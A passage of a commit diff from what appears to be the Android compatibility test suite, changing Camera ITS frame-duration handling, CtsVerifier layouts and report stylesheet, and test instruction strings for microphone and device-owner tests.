Merge "MediaBitstreamsTest: remove unnecessary APK installs" into oc-dev
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index dbddb8e..8122186 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -99,7 +99,6 @@
         "android.control.awbMode": 0,
         "android.control.afMode": 0,
         "android.control.effectMode": 0,
-        "android.sensor.frameDuration": 0,
         "android.sensor.sensitivity": sensitivity,
         "android.sensor.exposureTime": exp_time,
         "android.colorCorrection.mode": 0,
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 69ed19d..752e02b 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -60,8 +60,8 @@
     check('md.has_key("android.sensor.rollingShutterSkew")')
     check('md["android.sensor.rollingShutterSkew"] is not None')
     if manual_sensor:
-        check('md["android.sensor.frameDuration"] > '
-              'md["android.sensor.rollingShutterSkew"] > 0')
+        check('md["android.sensor.rollingShutterSkew"] > 0')
+        check('md["android.sensor.frameDuration"] > 0')
 
     # Test: timestampSource must be a valid value.
     check('props.has_key("android.sensor.info.timestampSource")')
diff --git a/apps/CameraITS/tests/scene1/test_capture_result.py b/apps/CameraITS/tests/scene1/test_capture_result.py
index cde37c2..e797ec0 100644
--- a/apps/CameraITS/tests/scene1/test_capture_result.py
+++ b/apps/CameraITS/tests/scene1/test_capture_result.py
@@ -57,7 +57,6 @@
             "android.control.aeMode": 0,
             "android.control.awbMode": 0,
             "android.control.afMode": 0,
-            "android.sensor.frameDuration": 0,
             "android.sensor.sensitivity": manual_sensitivity,
             "android.sensor.exposureTime": manual_exp_time,
             "android.colorCorrection.mode": 0,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 5da1ade..86c3e77 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -390,6 +390,7 @@
         req = its.objects.manual_capture_request(s, e)
         fps = 30
         req["android.control.aeTargetFpsRange"] = [fps, fps]
+        req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC);
         print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
                 W, H, s, e*NSEC_TO_MSEC)
         caps = cam.do_capture([req]*N, fmt)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 18a8764..df617d3 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2409,7 +2409,8 @@
             </intent-filter>
         </service>
 
-        <activity android:name=".managedprovisioning.AuthenticationBoundKeyTestActivity">
+        <activity android:name=".managedprovisioning.AuthenticationBoundKeyTestActivity"
+                android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.AUTH_BOUND_KEY_TEST" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.xsl b/apps/CtsVerifier/assets/report/compatibility_result.xsl
index b8c1245..1e9ec31 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.xsl
+++ b/apps/CtsVerifier/assets/report/compatibility_result.xsl
@@ -82,12 +82,6 @@
                             </td>
                         </tr>
                         <tr>
-                            <td class="rowtitle">Tests Not Executed</td>
-                            <td>
-                                <xsl:value-of select="Result/Summary/@not_executed"/>
-                            </td>
-                        </tr>
-                        <tr>
                             <td class="rowtitle">Modules Done</td>
                             <td>
                                 <xsl:value-of select="Result/Summary/@modules_done"/>
@@ -134,7 +128,6 @@
                             <th>Module</th>
                             <th>Passed</th>
                             <th>Failed</th>
-                            <th>Not Executed</th>
                             <th>Total Tests</th>
                         </tr>
                         <xsl:for-each select="Result/Module">
@@ -150,10 +143,7 @@
                                     <xsl:value-of select="count(TestCase/Test[@result = 'fail'])"/>
                                 </td>
                                 <td>
-                                    <xsl:value-of select="@not_executed"/>
-                                </td>
-                                <td>
-                                    <xsl:value-of select="count(TestCase/Test) + @not_executed"/>
+                                    <xsl:value-of select="count(TestCase/Test)"/>
                                 </td>
                             </tr>
                         </xsl:for-each> <!-- end Module -->
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index cb307f1..e4249c4 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -24,6 +24,7 @@
 -keep class org.mockito.** { *; }
 -keep interface org.mockito.** { *; }
 -keep class com.google.dexmaker.** { *; }
+-keep class com.android.dx.mockito.** { *; }
 -keep interface com.google.dexmaker.** { *; }
 
 -dontwarn android.hardware.Sensor
diff --git a/apps/CtsVerifier/res/layout-watch/da_policy_main.xml b/apps/CtsVerifier/res/layout-watch/da_policy_main.xml
new file mode 100644
index 0000000..abc2f74
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-watch/da_policy_main.xml
@@ -0,0 +1,61 @@
+<?xml version="2.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+        <ListView
+            android:id="@id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"/>
+
+        <TextView
+            android:id="@id/android:empty"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_gravity="center_vertical"
+            android:layout_weight="1"
+            android:padding="10dip"
+            android:text="@string/da_no_policy"
+            android:textSize="18dip"/>
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal">
+            <Button
+                android:id="@+id/generate_policy_button"
+                android:layout_width="1dip"
+                android:layout_height="wrap_content"
+                android:layout_weight="1"
+                android:text="@string/da_generate_policy"/>
+            <Button
+                android:id="@+id/apply_policy_button"
+                android:layout_width="1dip"
+                android:layout_height="wrap_content"
+                android:layout_weight="1"
+                android:text="@string/da_apply_policy"/>
+        </LinearLayout>
+
+        <include layout="@layout/pass_fail_buttons"/>
+    </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
new file mode 100644
index 0000000..4d4cf5d
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
@@ -0,0 +1,46 @@
+<?xml version="2.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+
+        <TextView
+            android:id="@+id/requesting_bugreport_device_owner_instructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/device_owner_requesting_bugreport_tests_info"
+            android:textSize="18dip"/>
+
+        <Button
+            android:id="@+id/set_device_owner_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/set_device_owner_button_label"/>
+
+        <ListView
+            android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <include layout="@layout/pass_fail_buttons"/>
+    </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
index bdf9e7c..272a9fc 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
@@ -32,161 +32,200 @@
             android:orientation="vertical"
         >
 
-            <TextView
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/audio_general_headset_port_exists"
-                android:text="@string/audio_general_headset_port_exists" />
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-            >
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_no"
-                    android:text="@string/audio_general_headset_no"
-                    android:nextFocusForward="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_frequency_mic_speakers_ready_btn"
-                    android:nextFocusRight="@+id/audio_general_headset_yes" />
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_yes"
-                    android:text="@string/audio_general_headset_yes"
-                    android:nextFocusForward="@+id/audio_frequency_mic_speakers_ready_btn"
-                    android:nextFocusDown="@+id/audio_frequency_mic_speakers_ready_btn"
-                    android:nextFocusLeft="@+id/audio_general_headset_no"
-                    android:nextFocusRight="@+id/audio_frequency_mic_speakers_ready_btn" />
-
-            </LinearLayout>
-
-            <LinearLayout
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-            >
-                <TextView
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-                    android:id="@+id/info_text"
-                    android:text="@string/audio_frequency_mic_instructions" />
-
-                <ProgressBar
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-                    android:id="@+id/audio_frequency_mic_progress_bar" />
-            </LinearLayout>
-
-            <Button
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_frequency_mic_speakers_ready_btn"
-                android:text="@string/audio_frequency_mic_speakers_ready_btn"
-                android:nextFocusForward="@+id/audio_frequency_mic_test1_btn"
-                android:nextFocusUp="@+id/audio_general_headset_yes"
-                android:nextFocusDown="@+id/audio_frequency_mic_test1_btn"
-                android:nextFocusLeft="@+id/audio_general_headset_yes"
-                android:nextFocusRight="@+id/audio_frequency_mic_test1_btn" />
-
-            <TextView
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/audio_frequency_mic_speakers_ready_status"
-                android:text="@string/audio_frequency_mic_speakers_ready_status" />
-
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
                 android:orientation="vertical"
-                android:id="@+id/audio_frequency_mic_layout_test1"
+                android:id="@+id/frequency_mic_layout_test_noise"
             >
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
 
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_mic_instructions2"
-                    android:id="@+id/audio_frequency_mic_instructions2" />
+                    android:text="@string/frequency_mic_noise_instructions"
+                    android:id="@+id/frequency_mic_noise_instructions" />
 
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_mic_test1_btn"
-                    android:id="@+id/audio_frequency_mic_test1_btn"
-                    android:nextFocusForward="@+id/audio_frequency_mic_mic_ready_btn"
-                    android:nextFocusUp="@+id/audio_frequency_mic_speakers_ready_btn"
-                    android:nextFocusDown="@+id/audio_frequency_mic_mic_ready_btn"
-                    android:nextFocusLeft="@+id/audio_frequency_mic_speakers_ready_btn"
-                    android:nextFocusRight="@+id/audio_frequency_mic_mic_ready_btn" />
-
-                <TextView
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_mic_results_text"
-                    android:id="@+id/audio_frequency_mic_results1_text" />
-            </LinearLayout>
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:id="@+id/audio_frequency_mic_layout_test2a"
-            >
-
-                <Button
+                <LinearLayout
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
-                    android:id="@+id/audio_frequency_mic_mic_ready_btn"
-                    android:text="@string/audio_frequency_mic_mic_ready_btn"
-                    android:nextFocusForward="@+id/audio_frequency_mic_test2_btn"
-                    android:nextFocusUp="@+id/audio_frequency_mic_test1_btn"
-                    android:nextFocusDown="@+id/audio_frequency_mic_test2_btn"
-                    android:nextFocusLeft="@+id/audio_frequency_mic_test1_btn"
-                    android:nextFocusRight="@+id/audio_frequency_mic_test2_btn" />
+                    android:orientation="horizontal">
 
-                <TextView
-                    android:layout_width="wrap_content"
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/frequency_mic_test_noise_btn"
+                            android:id="@+id/frequency_mic_test_noise_btn" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/frequency_mic_test_noise_progress_bar" />
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/frequency_mic_play"
+                            android:id="@+id/frequency_mic_play_noise_btn" />
+                    </LinearLayout>
+                </LinearLayout>
+                                <TextView
+                    android:layout_width="match_parent"
                     android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_mic_usb_status"
-                    android:id="@+id/audio_frequency_mic_usb_status" />
+                    android:text="@string/frequency_mic_test_noise_result"
+                    android:id="@+id/frequency_mic_test_noise_result" />
             </LinearLayout>
 
             <LinearLayout
-                android:orientation="vertical"
                 android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:id="@+id/audio_frequency_mic_layout_test2b"
-            >
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/frequency_mic_layout_test_usb_background">
 
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_mic_test2_btn"
-                    android:id="@+id/audio_frequency_mic_test2_btn"
-                    android:nextFocusForward="@+id/pass_button"
-                    android:nextFocusUp="@+id/audio_frequency_mic_mic_ready_btn"
-                    android:nextFocusDown="@+id/pass_button"
-                    android:nextFocusLeft="@+id/audio_frequency_mic_mic_ready_btn"
-                    android:nextFocusRight="@+id/pass_button" />
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
 
                 <TextView
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"
-                    android:text="@string/audio_frequency_mic_results_text"
-                    android:id="@+id/audio_frequency_mic_results_text" />
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/frequency_mic_test_usb_background_instructions"
+                    android:id="@+id/frequency_mic_test_usb_background_instructions" />
 
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/frequency_mic_test_usb_background_btn"
+                            android:id="@+id/frequency_mic_test_usb_background_btn" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/frequency_mic_test_usb_background_progress_bar" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/frequency_mic_test_usb_background_result"
+                    android:id="@+id/frequency_mic_test_usb_background_result" />
             </LinearLayout>
 
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/frequency_mic_layout_test_usb_noise">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/frequency_mic_test_usb_noise_instructions"
+                    android:id="@+id/frequency_mic_test_usb_noise_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/frequency_mic_test_usb_noise_btn"
+                            android:id="@+id/frequency_mic_test_usb_noise_btn" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/frequency_mic_test_usb_noise_progress_bar" />
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/frequency_mic_play"
+                            android:id="@+id/frequency_mic_play_usb_noise_btn" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/frequency_mic_test_usb_noise_result"
+                    android:id="@+id/frequency_mic_test_usb_noise_result" />
+            </LinearLayout>
+             <View
+                android:layout_width="match_parent"
+                android:layout_height="1dp"
+                android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/frequency_mic_test_global_result"
+                    android:id="@+id/frequency_mic_test_global_result" />
+
             <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
     </ScrollView>
diff --git a/apps/CtsVerifier/res/layout/da_policy_main.xml b/apps/CtsVerifier/res/layout/da_policy_main.xml
index 0f680e9..70e277b 100644
--- a/apps/CtsVerifier/res/layout/da_policy_main.xml
+++ b/apps/CtsVerifier/res/layout/da_policy_main.xml
@@ -1,60 +1,50 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
-
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
-
           http://www.apache.org/licenses/LICENSE-2.0
-
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-    style="@style/RootLayoutPadding"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-    <LinearLayout
+    android:layout_height="match_parent"
+>
+    <ListView android:id="@id/android:list"
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical">
-        <ListView
-            android:id="@id/android:list"
-            android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+    />
+    <TextView android:id="@id/android:empty"
+        android:layout_gravity="center_vertical"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:padding="10dip"
+        android:text="@string/da_no_policy"
+        android:textSize="18dip"
+    />
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    >
+        <Button android:id="@+id/generate_policy_button"
+            android:layout_width="1dip"
             android:layout_height="wrap_content"
-            android:layout_weight="1" />
-
-        <TextView
-            android:id="@id/android:empty"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center_vertical"
             android:layout_weight="1"
-            android:padding="10dip"
-            android:text="@string/da_no_policy"
-            android:textSize="18dip" />
-
-        <LinearLayout
-            android:layout_width="match_parent"
+            android:text="@string/da_generate_policy"
+        />
+        <Button android:id="@+id/apply_policy_button"
+            android:layout_width="1dip"
             android:layout_height="wrap_content"
-            android:orientation="horizontal">
-            <Button
-                android:id="@+id/generate_policy_button"
-                android:layout_width="1dip"
-                android:layout_height="wrap_content"
-                android:layout_weight="1"
-                android:text="@string/da_generate_policy" />
-            <Button
-                android:id="@+id/apply_policy_button"
-                android:layout_width="1dip"
-                android:layout_height="wrap_content"
-                android:layout_weight="1"
-                android:text="@string/da_apply_policy" />
-        </LinearLayout>
-
-        <include layout="@layout/pass_fail_buttons" />
+            android:layout_weight="1"
+            android:text="@string/da_apply_policy"
+        />
     </LinearLayout>
-</ScrollView>
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
index b83388b..f3320c6 100644
--- a/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
+++ b/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
@@ -1,11 +1,9 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
-
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
-
           http://www.apache.org/licenses/LICENSE-2.0
-
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@@ -13,38 +11,31 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    style="@style/RootLayoutPadding"
+    android:orientation="vertical"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    android:orientation="vertical">
-
+>
     <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
+        android:layout_height="100dp"
+        android:layout_weight="2">
+        <TextView
+            android:id="@+id/requesting_bugreport_device_owner_instructions"
             android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-
-            <TextView
-                android:id="@+id/requesting_bugreport_device_owner_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/device_owner_requesting_bugreport_tests_info"
-                android:textSize="18dip" />
-
-            <Button
-                android:id="@+id/set_device_owner_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/set_device_owner_button_label" />
-
-            <ListView
-                android:id="@+id/android:list"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content" />
-
-            <include layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
+            android:layout_height="wrap_content"
+            android:padding="10dip"
+            android:text="@string/device_owner_requesting_bugreport_tests_info"
+            android:textSize="18dip" />
     </ScrollView>
+    <Button
+        android:id="@+id/set_device_owner_button"
+        android:layout_width="204dp"
+        android:layout_height="wrap_content"
+        android:text="@string/set_device_owner_button_label" />
+    <ListView
+        android:id="@+id/android:list"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="3" />
+    <include layout="@layout/pass_fail_buttons" />
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/snsr_hrm.xml b/apps/CtsVerifier/res/layout/snsr_hrm.xml
index 4c6b6ff..16bb91f 100644
--- a/apps/CtsVerifier/res/layout/snsr_hrm.xml
+++ b/apps/CtsVerifier/res/layout/snsr_hrm.xml
@@ -34,11 +34,9 @@
         android:layout_marginBottom="10dip"
         android:background="@drawable/gray_bubble"
         android:drawablePadding="10dip"
-        android:paddingBottom="5dip"
         android:paddingLeft="10dip"
         android:paddingRight="10dip"
-        android:paddingTop="5dip"
-        android:textSize="28dip" />
+        android:textSize="20dip" />
 
     <TextView
         android:id="@+id/sensor_accuracy_value"
@@ -49,10 +47,8 @@
         android:layout_marginBottom="10dip"
         android:background="@drawable/gray_bubble"
         android:drawablePadding="10dip"
-        android:paddingBottom="5dip"
         android:paddingLeft="10dip"
         android:paddingRight="10dip"
-        android:paddingTop="5dip"
-        android:textSize="28dip" />
+        android:textSize="20dip" />
 
 </RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/snsr_next_button.xml b/apps/CtsVerifier/res/layout/snsr_next_button.xml
index 78c9f1f..c4701cc 100644
--- a/apps/CtsVerifier/res/layout/snsr_next_button.xml
+++ b/apps/CtsVerifier/res/layout/snsr_next_button.xml
@@ -37,7 +37,6 @@
         android:id="@+id/fail_button"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:layout_columnWeight="1"
         android:drawableTop="@drawable/fs_error"
         android:visibility="gone" />
 
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 405a2fc..144eac1 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2421,6 +2421,9 @@
         5. Verify that the background color of the resulting dialog is as set by you.\n
         6. Verify that the header text has organization name as set by you.\n
     </string>
+
+    <string name="provisioning_byod_no_secure_lockscreen">No work lockscreen password set. Please run \"Select work lock test\" and rerun this test</string>
+
     <string name="provisioning_byod_parent_profile_password">Personal password test</string>
     <string name="provisioning_byod_parent_profile_password_description">
         This test verifies that the password on the personal side can be chosen from within a managed profile.\n
@@ -2550,7 +2553,7 @@
     <string name="device_owner_reenable_statusbar_button">Reenable status bar</string>
     <string name="device_owner_disable_keyguard_test">Disable keyguard</string>
     <string name="device_owner_disable_keyguard_test_info">
-            Note that any device passwords that you might have set will be deleted during this test.\n
+            Before running this test, please make sure you have not set any device lockscreen password.\n
             Please press the below button to disable the keyguard. Press the power button on your device to
             switch off the screen. Then press the power button to switch the screen back on and verify that
             no keyguard was shown.\n
@@ -2560,6 +2563,7 @@
     </string>
     <string name="device_owner_disable_keyguard_button">Disable keyguard</string>
     <string name="device_owner_reenable_keyguard_button">Reenable keyguard</string>
+    <string name="device_owner_lockscreen_secure">Please remove lockscreen password</string>
     <string name="device_profile_owner_permission_lockdown_test">Permissions lockdown</string>
     <string name="device_profile_owner_permission_lockdown_test_instructions">
             Select each of the three grant states for the permission shown below in turn.\n
@@ -3570,30 +3574,31 @@
 
     <!-- Audio Frequency Microphone Test -->
     <string name="audio_frequency_mic_test">Audio Frequency Microphone Test</string>
-    <string name="audio_frequency_mic_info">
+    <string name="frequency_mic_info">
         This test requires an external USB reference microphone and external speakers.
-        Please use the headphone connector to connect external speakers. Position the device 40 cms
-        from the speakers and proceed with the instructions on the screen.
-        The system will measure frequency response of the built in microphone.
+        The test signals can be played from the device under test (DUT) or from a secondary device (e.g. when your DUT can’t support a USB microphone and external speakers simultaneously, or DUT does not have headphone output).
+Follow the instructions on the screen to measure the frequency response for the built in microphone.
        </string>
-    <string name="audio_frequency_mic_instructions">
-          Please connect external speakers using the headphone connector. Please unplug any USB audio device (if any)
+
+    <string name="frequency_mic_play">Play</string>
+    <string name="frequency_mic_stop">Stop</string>
+    <string name="frequency_mic_noise_instructions">TEST NOISE: Position speakers 40 cms from device under test.
+    Press [PLAY] to play broadband white noise. Press [TEST]
     </string>
-    <string name="audio_frequency_mic_speakers_ready_btn">External speakers ready</string>
-    <string name="audio_frequency_mic_speakers_ready_status">...</string>
-    <string name="audio_frequency_mic_instructions2">
-          Please position the speakers 40 cms from the device under test and press TEST 1
-    </string>
-    <string name="audio_frequency_mic_test1_btn">Test 1</string>
-    <string name="audio_frequency_mic_usb_status">Waiting for USB microphone...</string>
-    <string name="audio_frequency_mic_connect_mic">Please Connect USB microphone, position it next to
-    the built in microphone in the device and press USB reference microphone</string>
